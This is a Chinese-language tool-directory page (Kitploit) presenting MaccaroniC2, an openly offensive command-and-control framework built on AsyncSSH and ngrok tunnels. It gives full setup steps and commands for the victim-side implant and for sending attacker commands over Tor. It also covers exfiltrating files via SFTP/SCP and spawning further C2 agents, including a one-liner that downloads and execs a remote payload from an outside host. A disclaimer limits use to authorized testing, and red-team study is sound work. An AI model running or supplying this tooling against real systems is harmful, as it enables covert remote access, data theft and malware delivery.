Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/calfcrusher/maccaronic2
漏洞利用框架命令与控制学习与教育红队远程访问工具Payload 开发
GitHubcalfcrusher/maccaronic2

MaccaroniC2

一个概念验证的命令与控制框架,利用了强大的 AsyncSSH Python 库(该库提供 SSHv2 协议的异步客户端和服务器实现)以及 PyNgrok 封装,以集成 ngrok。

查看仓库
76153年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MaccaroniC2 - 使用AsyncSSH赋能命令与控制

MaccaroniC2 是一个概念验证的命令与控制框架,它利用了强大的 AsyncSSH Python 库,该库提供了 SSHv2 协议的异步客户端和服务器实现,并使用 PyNgrok 封装来集成 ngrok。此工具针对一个特定场景设计:受害者在受控机器上运行 AsyncSSH 服务器并建立到外部的隧道,等待攻击者发送命令。

攻击者利用 Ngrok 官方 API 获取隧道的主机名和端口以建立连接。这种方法充分利用了 AsyncSSH 提供的全面能力,包括对 SFTP 和 SCP 的内置支持,从而促进安全高效的数据外泄等操作。

此外,攻击者还可以通过 SOCKS 代理发送和执行系统命令,利用例如 TOR 提供的匿名性增强优势。

  • Ngrok 免费账户一次只允许使用一个隧道。稍作修改后,此工具可以完美适配类似 BOT 的 C&C 框架,用于控制多个 SSH 实例,但您需要在 Ngrok 网站上升级您的套餐,请参见 https://ngrok.com/pricing

设置与流程

  1. 运行 python3 gen_rsa.py 生成一对 SSH 密钥。新生成的 id_rsa 由攻击者用于连接到受害者机器上运行的服务器。

  2. 编辑 asyncssh_server.py 文件,将新生成的 id_rsa.pub 的内容填入 pub_key 变量。asyncssh_server.py 提供了 SSHv2 协议(含 SFTP 和 SCP 功能)的实现。这是受害者运行的脚本。

  3. 在 Ngrok 网站上创建一个免费账户,并记下 AUTH 令牌。

  4. 将 AUTH 令牌添加到 asyncssh_server.py 的 token 变量中,这需要硬编码在 ngrok_tunnel() 函数内部。

  5. 在 Ngrok 网站上创建一个免费的 API 密钥。记录下生成的字符串。

  6. 将 API 密钥字符串放入 async_commander.py 文件的 api_key 变量中。这允许我们在自动化过程中自动检索 Ngrok 域名和活动隧道的端口。

  7. 对 get_endpoints.py 文件执行相同步骤。此脚本会检索有关活动隧道的各种有用信息。

向服务器发送命令

通过 async_commander.py 您可以向服务器发送任何命令。它会使用 Ngrok 官方 API 自动 请求由受害者激活的 Ngrok 隧道的域名和端口。

另请注意,id_rsa 需要与 async_commander.py 位于同一文件夹中。

基本用法

在受害者机器上运行服务器:

python3 asyncssh_server.py


从攻击者机器通过 SOCKS 代理发送命令:

python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050


不通过代理发送命令:

python3 asyncssh_commander.py "whoami"


生成另一个 C2 代理(Powershell-Empire、Meterpreter 等):

python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"

Meterpreter web_delivery 模块

python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""


获取活动隧道列表:

python3 get_endpoints.py


生成新的 RSA 密钥对:

python3 gen_rsa.py

高级用法

使用 SFTP 和 SCP - 您不需要有效的用户名,只需要正确的 id_rsa

  • 使用代理:

proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path


  • 不使用代理:

sftp -P PORT -i id_rsa ddddd@NGROK_HOST

scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path


使用 Nuitka 编译

python -m pip install nuitka

python -m nuitka --standalone --onefile asyncssh_server.py


武器化服务器

https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py

更多信息请参阅相关文章:https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/

免责声明:此工具仅供测试和教育用途。只能在获得适当授权的系统上使用。任何未经授权或非法使用此工具的行为均被严格禁止。此工具的创建者不对因使用本工具而导致的任何误用或损害承担责任。请确保在使用本工具时遵守适用的法律法规。此外,需注意此工具与 Ngrok 的结合使用可能会违反某些平台的服务条款或政策。建议审查并遵守任何平台或服务的使用条款,以避免潜在的账户封禁或中断。

下载工具